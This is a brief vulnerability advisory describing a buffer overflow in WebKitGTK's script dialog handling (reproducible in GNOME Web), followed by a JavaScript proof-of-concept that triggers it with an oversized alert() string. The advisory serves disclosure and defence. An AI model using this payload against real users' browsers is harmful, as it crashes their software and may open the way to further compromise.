## Summary:
|
|
The UIProcess subsystem in WebKit, as used in WebKitGTK through 2.23.90 and
|
|
WebKitGTK+ through 2.22.6 and other products, does not prevent the script
|
|
dialog size from exceeding the web view size, which allows remote attackers
|
|
to cause a denial of service (Buffer Overflow) or possibly have unspecified
|
|
other impact, related to UIProcess/API/gtk/WebKitScriptDialogGtk.cpp,
|
|
UIProcess/API/gtk/WebKitScriptDialogImpl.cpp, and
|
|
UIProcess/API/gtk/WebKitWebViewGtk.cpp, as demonstrated by GNOME Web (aka
|
|
Epiphany).
|
|
|
|
## PoC:
|
|
<script>
|
|
var a = '';
|
|
for (var i = 1; i <= 5000; i++)
|
|
{
|
|
a += 'A';
|
|
}
|
|
alert(a);
|
|
</script> |
